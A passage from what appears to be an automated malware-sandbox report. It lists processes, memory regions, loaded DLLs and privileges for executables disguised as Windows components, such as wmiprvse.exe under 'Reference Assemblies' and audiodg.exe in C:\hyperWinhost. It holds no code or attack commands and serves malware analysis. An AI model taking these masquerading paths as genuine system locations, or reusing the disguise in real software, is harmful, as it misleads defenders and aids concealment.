"private_0x0000000000490000" filename = "" Region: id = 6288 start_va = 0x4a0000 end_va = 0x4a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6289 start_va = 0x8d0000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 6290 start_va = 0x990000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 6291 start_va = 0xa40000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 6292 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 6293 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6294 start_va = 0x2680000 end_va = 0x1a67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 6636 start_va = 0xb40000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 6637 start_va = 0xec0000 end_va = 0xfc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 6638 start_va = 0x10a0000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 6639 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Thread: id = 231 os_tid = 0x9d0 Thread: id = 279 os_tid = 0xdbc Thread: id = 289 os_tid = 0xe18 Thread: id = 299 os_tid = 0x5a8 Process: id = "72" image_name = "fpos.exe" filename = "c:\\users\\all users\\application data\\fpos.exe" page_root = "0x3ac94000" os_pid = "0xa8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\Users\\All Users\\Application Data\\fpos.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5540 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5541 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5542 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5543 start_va = 0xca0000 end_va = 0xd77fff monitored = 1 entry_point = 0xd6f1ee region_type = mapped_file name = "fpos.exe" filename = "\\ProgramData\\fpos.exe" (normalized: "c:\\programdata\\fpos.exe") Region: id = 5544 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5545 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5546 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5547 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5548 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5549 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 5550 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5551 start_va = 0x40000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5552 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5553 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5554 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5555 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5556 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5557 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5558 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5559 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5560 start_va = 0x2a0000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5561 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5562 start_va = 0x2a0000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5563 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 5564 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5565 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5664 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5665 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5666 start_va = 0x490000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 5667 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 5668 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 5669 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5670 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5671 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5672 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5673 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5674 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5675 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5804 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5805 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 5806 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5807 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5808 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5809 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 5810 start_va = 0xd80000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 5811 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5812 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5813 start_va = 0x980000 end_va = 0xa50fff monitored = 1 entry_point = 0xa4f1ee region_type = mapped_file name = "fpos.exe" filename = "\\ProgramData\\fpos.exe" (normalized: "c:\\programdata\\fpos.exe") Region: id = 5814 start_va = 0x980000 end_va = 0xa50fff monitored = 1 entry_point = 0xa4f1ee region_type = mapped_file name = "fpos.exe" filename = "\\ProgramData\\fpos.exe" (normalized: "c:\\programdata\\fpos.exe") Region: id = 6140 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6141 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6142 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6143 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6144 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 6145 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 6392 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 6393 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 6669 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 6670 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 6671 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 6672 start_va = 0x7fe91ee0000 end_va = 0x7fe91f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 6673 start_va = 0x7fe91f70000 end_va = 0x7fe91fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f70000" filename = "" Region: id = 6674 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 6675 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6676 start_va = 0x980000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 6677 start_va = 0xab0000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 6678 start_va = 0x22d0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 6679 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Thread: id = 232 os_tid = 0x4d4 Thread: id = 291 os_tid = 0xe58 Process: id = "73" image_name = "wmiprvse.exe" filename = "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe" page_root = "0x3b0a4000" os_pid = "0xcd0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5866 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5867 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5868 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 5869 start_va = 0xc50000 end_va = 0xd27fff monitored = 1 entry_point = 0xd1f1ee region_type = mapped_file name = "wmiprvse.exe" filename = "\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe") Region: id = 5870 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5871 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5872 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5873 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5874 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5875 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5876 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5877 start_va = 0x1a0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 6272 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 6273 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6274 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6275 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6276 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6277 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6278 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6279 start_va = 0x1a0000 end_va = 0x206fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6280 start_va = 0x350000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 6281 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 6592 start_va = 0x3d0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6593 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6594 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6595 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6596 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6597 start_va = 0x450000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6598 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6599 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 6684 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 6685 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 6686 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6687 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Thread: id = 237 os_tid = 0xcc8 Thread: id = 280 os_tid = 0xe4c Process: id = "74" image_name = "audiodg.exe" filename = "c:\\hyperwinhost\\audiodg.exe" page_root = "0x39ab6000" os_pid = "0xd58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "68" os_parent_pid = "0x99c" cmd_line = "\"C:\\hyperWinhost\\audiodg.exe\" " cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5892 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5893 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5894 start_va = 0x160000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 5895 start_va = 0x830000 end_va = 0x907fff monitored = 1 entry_point = 0x8ff1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 5896 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5897 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5898 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5899 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5900 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5901 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5902 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5903 start_va = 0x260000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5904 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5905 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5906 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5907 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5908 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5909 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5910 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5911 start_va = 0xb0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5912 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5913 start_va = 0x3e0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5914 start_va = 0x460000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5915 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 